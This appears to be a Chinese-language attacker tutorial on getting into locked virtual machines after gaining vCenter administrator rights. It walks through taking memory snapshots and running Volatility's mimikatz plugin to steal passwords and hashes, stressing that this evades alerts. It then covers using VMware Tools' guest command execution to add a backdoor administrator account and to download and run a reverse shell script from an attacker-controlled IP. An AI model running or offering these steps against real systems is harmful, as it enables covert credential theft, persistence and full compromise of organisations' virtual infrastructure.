### 拿到 vCenter 管理员权限，但部分虚拟机处于锁屏状态怎么办

1. 内存转储攻击

这是最强大且隐蔽的攻击方式，它能让你在不与虚拟机桌面直接交互的情况下，窃取到所有已登录用户的密码

- 原理：Windows 操作系统在运行时，会将已登录用户的明文密码、NTLM 哈希和 Kerberos 票据等凭据信息，存储在 `lsass.exe` 进程的内存中。作为 vCenter 管理员，你可以获取虚拟机的**内存快照，这个快照文件包含了虚拟机在某一时刻的全部内存数据

- 操作步骤：

  1. 在 vCenter 界面中，找到锁屏的虚拟机

  2. 右键点击虚拟机，选择 Snapshot -> Take Snapshot。在弹出的窗口中，勾选 "Snapshot the virtual machine's memory"

  3. 等待快照完成后，找到这个快照文件（通常是 `.vmem` 或 `.vmss` 文件）。这个文件通常位于 ESXi 主机的数据存储（Datastore）上

  4. 将这个文件下载到你的攻击机

  5. 在攻击机上使用内存取证工具，例如 `Volatility`。执行命令来分析 `.vmem` 文件并提取凭据

         # 识别操作系统类型
         volatility -f <内存快照文件> imageinfo
         # 从lsass进程中提取密码哈希和明文密码
         volatility -f <内存快照文件> --profile=<识别出的操作系统> mimikatz

- 优点：这种方法非常隐蔽，几乎不会在虚拟机内留下任何痕迹，也不会触发任何安全告警。即使虚拟机锁屏，你依然可以成功获取登录凭据

2. 利用 VMware Tools 在虚拟机内执行命令

如果虚拟机内安装了 VMware Tools，你就可以利用 vCenter 的 `Guest Operations` 功能，直接在虚拟机内部执行命令，而无需登录

- 原理：VMware Tools 是一个运行在虚拟机操作系统中的服务，它与 vCenter 后台进程进行通信。这使得 vCenter 可以远程管理虚拟机，包括文件传输、脚本执行等
- 操作步骤：
  1. 在 vCenter 界面中，找到锁屏的虚拟机
  2. 右键点击虚拟机，选择 Guest OS -> Run Program in Guest
  3. 在弹出的对话框中，你可以输入想要执行的命令
  4. 你可以执行以下命令来建立一个持久化的后门
     - 创建新的管理员用户： `C:\Windows\System32\cmd.exe /c "net user newuser password /add"` `C:\Windows\System32\cmd.exe /c "net localgroup administrators newuser /add"`
     - 下载并执行反向 Shell： `C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1"`
- 优点：这种方法简单直接，只要虚拟机处于开机状态且 VMware Tools 运行正常，你就可以绕过锁屏，直接在内部执行命令

3. 创建新的管理员账户

如果上述方法都失败了，你还有终极权限——在虚拟机内创建新的管理员账户

- 原理：利用 VMware Tools 的 `Run Program in Guest` 功能，你可以直接调用操作系统命令来创建新用户并将其添加到管理员组
- 操作步骤：
  - 执行上面提到的 `net user` 和 `net localgroup` 命令，创建一个新的管理员账户
  - 等待命令执行成功后，你就可以使用这个新创建的账户，远程桌面连接到虚拟机，或者通过其他方式登录